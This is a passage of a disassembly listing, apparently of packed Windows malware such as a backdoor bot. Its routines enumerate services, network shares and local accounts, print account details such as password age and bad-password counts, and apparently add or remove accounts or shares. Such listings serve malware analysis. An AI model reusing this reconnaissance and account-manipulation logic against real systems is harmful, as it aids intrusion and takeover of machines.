off_40FCF9	dd offset loc_40FCA3	; DATA XREF: sub_40FBB5+D2r
		dd offset loc_40FCAA	; jump table for switch	statement
		dd offset loc_40FCBF
		dd offset loc_40FCC6
		dd offset loc_40FC8E
		dd offset loc_40FC9C
		dd offset loc_40FCB1
		dd offset loc_40FCB8
		dd offset loc_40FC95
		dd offset loc_40FCE0
byte_40FD21	db	0,     9,     1,     2 ; DATA XREF: sub_40FBB5+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FD33	proc near		; CODE XREF: .nsp0:0040BE85p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_433ABC	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 14h


loc_40FD6B:				; CODE XREF: sub_40FD33+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_433A88	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_40FDA5
		call	dword_41D06C	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_40FE59


loc_40FDA5:				; CODE XREF: sub_40FD33+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40FE50
		lea	esi, [ebp+var_188]


loc_40FDB6:				; CODE XREF: sub_40FD33+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40FDFF
		dec	eax
		jz	short loc_40FDF8
		dec	eax
		jz	short loc_40FDF1
		dec	eax
		jz	short loc_40FDEA
		dec	eax
		jz	short loc_40FDE3
		dec	eax
		jz	short loc_40FDDC
		dec	eax
		jz	short loc_40FDD5
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_40FE04
; ---------------------------------------------------------------------------


loc_40FDD5:				; CODE XREF: sub_40FD33+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_40FE04
; ---------------------------------------------------------------------------


loc_40FDDC:				; CODE XREF: sub_40FD33+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40FE04
; ---------------------------------------------------------------------------


loc_40FDE3:				; CODE XREF: sub_40FD33+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40FE04
; ---------------------------------------------------------------------------


loc_40FDEA:				; CODE XREF: sub_40FD33+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_40FE04
; ---------------------------------------------------------------------------


loc_40FDF1:				; CODE XREF: sub_40FD33+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40FE04
; ---------------------------------------------------------------------------


loc_40FDF8:				; CODE XREF: sub_40FD33+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40FE04
; ---------------------------------------------------------------------------


loc_40FDFF:				; CODE XREF: sub_40FD33+87j
		push	offset aStopped	; "    Stopped"


loc_40FE04:				; CODE XREF: sub_40FD33+A0j
					; sub_40FD33+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_411EEE
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40FDB6


loc_40FE50:				; CODE XREF: sub_40FD33+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40FD6B


loc_40FE59:				; CODE XREF: sub_40FD33+6Cj
		push	[ebp+var_C]
		call	dword_4339CC	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40FD33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FE70	proc near		; CODE XREF: .nsp0:loc_40BF3Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40FF09
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40FE99
		dec	eax
		jnz	short loc_40FEE9
		push	edi
		push	0
		call	sub_410042
		pop	ecx
		pop	ecx
		jmp	short loc_40FEE5
; ---------------------------------------------------------------------------


loc_40FE99:				; CODE XREF: sub_40FE70+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40FED7
		push	24h
		push	edi
		call	sub_414140
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FED7
		push	57h
		pop	eax


loc_40FEB0:				; CODE XREF: sub_40FE70+77j
		push	eax
		call	sub_41081A
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_46238C
		push	off_42FD68[eax*4]
		push	offset dword_430474
		push	esi
		call	sub_411EEE
		add	esp, 18h
		jmp	short loc_40FF29
; ---------------------------------------------------------------------------


loc_40FED7:				; CODE XREF: sub_40FE70+2Dj
					; sub_40FE70+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40FF96
		add	esp, 0Ch


loc_40FEE5:				; CODE XREF: sub_40FE70+27j
		test	eax, eax
		jnz	short loc_40FEB0


loc_40FEE9:				; CODE XREF: sub_40FE70+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_46238C
		push	off_42FD6C[eax*4]
		push	offset dword_430444
		push	esi
		call	sub_411EEE
		add	esp, 10h
		jmp	short loc_40FF29
; ---------------------------------------------------------------------------


loc_40FF09:				; CODE XREF: sub_40FE70+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_46238C
		lea	eax, [eax+eax*2]
		push	off_42FD68[eax*4]
		push	offset dword_43040C
		push	esi
		call	sub_411EEE
		add	esp, 0Ch


loc_40FF29:				; CODE XREF: sub_40FE70+65j
					; sub_40FE70+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40FE70	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FF2F	proc near		; CODE XREF: sub_41135F+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40FF3C
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40FF3C:				; CODE XREF: sub_40FF2F+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_41D12C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi ; dword_41D12C
		test	byte_46258C, 1
		mov	ebp, eax
		jnz	short loc_40FF79
		or	byte_46258C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_413195
		pop	ecx
		mov	dword_46232C, eax


loc_40FF79:				; CODE XREF: sub_40FF2F+32j
		push	esi
		push	esi
		push	ebp
		push	dword_46232C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi ; dword_41D12C
		mov	eax, dword_46232C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40FF2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF96	proc near		; CODE XREF: sub_40FE70+6Dp
					; .nsp0:0041180Dp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_410001
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_410001
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_414140
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_410001
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4339C8
		pop	edi
		leave
		retn
sub_40FF96	endp


; =============== S U B	R O U T	I N E =======================================



sub_410001	proc near		; CODE XREF: sub_40FF96+Ap
					; sub_40FF96+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_41000E
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41000E:				; CODE XREF: sub_410001+9j
		push	ebx
		push	esi
		mov	esi, dword_41D130
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi ; dword_41D130
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_413195
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi ; dword_41D130
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410001	endp


; =============== S U B	R O U T	I N E =======================================



sub_410042	proc near		; CODE XREF: sub_40FE70+20p
					; sub_41135F+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_410001
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_410001
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4339A0
		pop	esi
		retn
sub_410042	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410065	proc near		; CODE XREF: .nsp0:0040BF68p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_410001
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 18h


loc_41009E:				; CODE XREF: sub_410065+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_433A14
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_410101
		cmp	ebx, 0EAh
		jz	short loc_410101
		push	ebx
		push	ebx
		call	sub_41081A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_4304D4
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 24h
		jmp	short loc_41016E
; ---------------------------------------------------------------------------


loc_410101:				; CODE XREF: sub_410065+5Dj
					; sub_410065+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_410165
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_41010F:				; CODE XREF: sub_410065+FCj
		push	dword ptr [esi+10h]
		call	dword_4339BC	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_410126
		mov	eax, offset aNo	; "No"


loc_410126:				; CODE XREF: sub_410065+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_41010F
		xor	esi, esi


loc_410165:				; CODE XREF: sub_410065+A2j
		push	[ebp+var_4]
		call	dword_433B58


loc_41016E:				; CODE XREF: sub_410065+9Aj
		cmp	ebx, 0EAh
		jz	loc_41009E
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_410065	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410186	proc near		; CODE XREF: .nsp0:loc_40BFDEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_41022A
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_4101C8
		dec	eax
		jz	short loc_4101BD
		dec	eax
		jnz	short loc_4101E3
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_4102CC
		add	esp, 14h
		jmp	short loc_4101DF
; ---------------------------------------------------------------------------


loc_4101BD:				; CODE XREF: sub_410186+1Dj
		push	ebx
		push	edi
		call	sub_4102AB
		pop	ecx
		pop	ecx
		jmp	short loc_4101DF
; ---------------------------------------------------------------------------


loc_4101C8:				; CODE XREF: sub_410186+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_4101DC
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_410251
		add	esp, 0Ch
		jmp	short loc_4101DF
; ---------------------------------------------------------------------------


loc_4101DC:				; CODE XREF: sub_410186+45j
		push	57h
		pop	eax


loc_4101DF:				; CODE XREF: sub_410186+35j
					; sub_410186+40j ...
		cmp	eax, edi
		jnz	short loc_410203


loc_4101E3:				; CODE XREF: sub_410186+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_462590
		push	off_42FD6C[eax*4]
		push	offset dword_4305C4
		push	esi
		call	sub_411EEE
		add	esp, 10h
		jmp	short loc_41024A
; ---------------------------------------------------------------------------


loc_410203:				; CODE XREF: sub_410186+5Bj
		push	eax
		call	sub_41081A
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_462590
		push	off_42FD68[eax*4]
		push	offset dword_430584
		push	esi
		call	sub_411EEE
		add	esp, 18h
		jmp	short loc_41024A
; ---------------------------------------------------------------------------


loc_41022A:				; CODE XREF: sub_410186+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_462590
		lea	eax, [eax+eax*2]
		push	off_42FD68[eax*4]
		push	offset dword_430548
		push	esi
		call	sub_411EEE
		add	esp, 0Ch


loc_41024A:				; CODE XREF: sub_410186+7Bj
					; sub_410186+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410251	proc near		; CODE XREF: sub_410186+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_410001
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_410001
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_410001
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4339AC
		pop	edi
		leave
		retn
sub_410251	endp


; =============== S U B	R O U T	I N E =======================================



sub_4102AB	proc near		; CODE XREF: sub_410186+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_410001
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_410001
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_43399C
		pop	esi
		retn
sub_4102AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102CC	proc near		; CODE XREF: sub_410186+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_410001
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_410001
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_433B20
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_410659
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_410694
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_411EEE
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F9F1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F9F1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F9F1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F9F1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_4103E5
		dec	eax
		jz	short loc_4103DE
		dec	eax
		jz	short loc_4103D7
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_4103EA
; ---------------------------------------------------------------------------


loc_4103D7:				; CODE XREF: sub_4102CC+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_4103EA
; ---------------------------------------------------------------------------


loc_4103DE:				; CODE XREF: sub_4102CC+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_4103EA
; ---------------------------------------------------------------------------


loc_4103E5:				; CODE XREF: sub_4102CC+FCj
		mov	eax, offset aGuest ; "Guest"


loc_4103EA:				; CODE XREF: sub_4102CC+109j
					; sub_4102CC+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F9F1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F9F1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F9F1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F9F1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F9F1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F9F1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F9F1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F9F1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F9F1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F9F1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F9F1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F9F1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F9F1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F9F1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40F9F1
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_410685
; ---------------------------------------------------------------------------


loc_410659:				; CODE XREF: sub_4102CC+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_4305F8
		push	eax
		call	sub_411EEE
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40F9F1
		add	esp, 20h


loc_410685:				; CODE XREF: sub_4102CC+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_410694
		push	[ebp+var_4]
		call	dword_433B58


loc_410694:				; CODE XREF: sub_4102CC+40j
					; sub_4102CC+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_4102CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41069A	proc near		; CODE XREF: .nsp0:0040C00Ap

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_410001
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 18h


loc_4106D9:				; CODE XREF: sub_41069A+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_433A30
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41073A
		cmp	eax, 0EAh
		jz	short loc_41073A
		push	eax
		push	eax
		call	sub_41081A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_430800
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 24h
		jmp	short loc_4107B5
; ---------------------------------------------------------------------------


loc_41073A:				; CODE XREF: sub_41069A+62j
					; sub_41069A+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_4107C8
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4107B5


loc_41074C:				; CODE XREF: sub_41069A+EDj
		cmp	edi, esi
		jz	short loc_41078B
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_5	; "  %S"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41074C
		jmp	short loc_4107B5
; ---------------------------------------------------------------------------


loc_41078B:				; CODE XREF: sub_41069A+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_4307B8
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
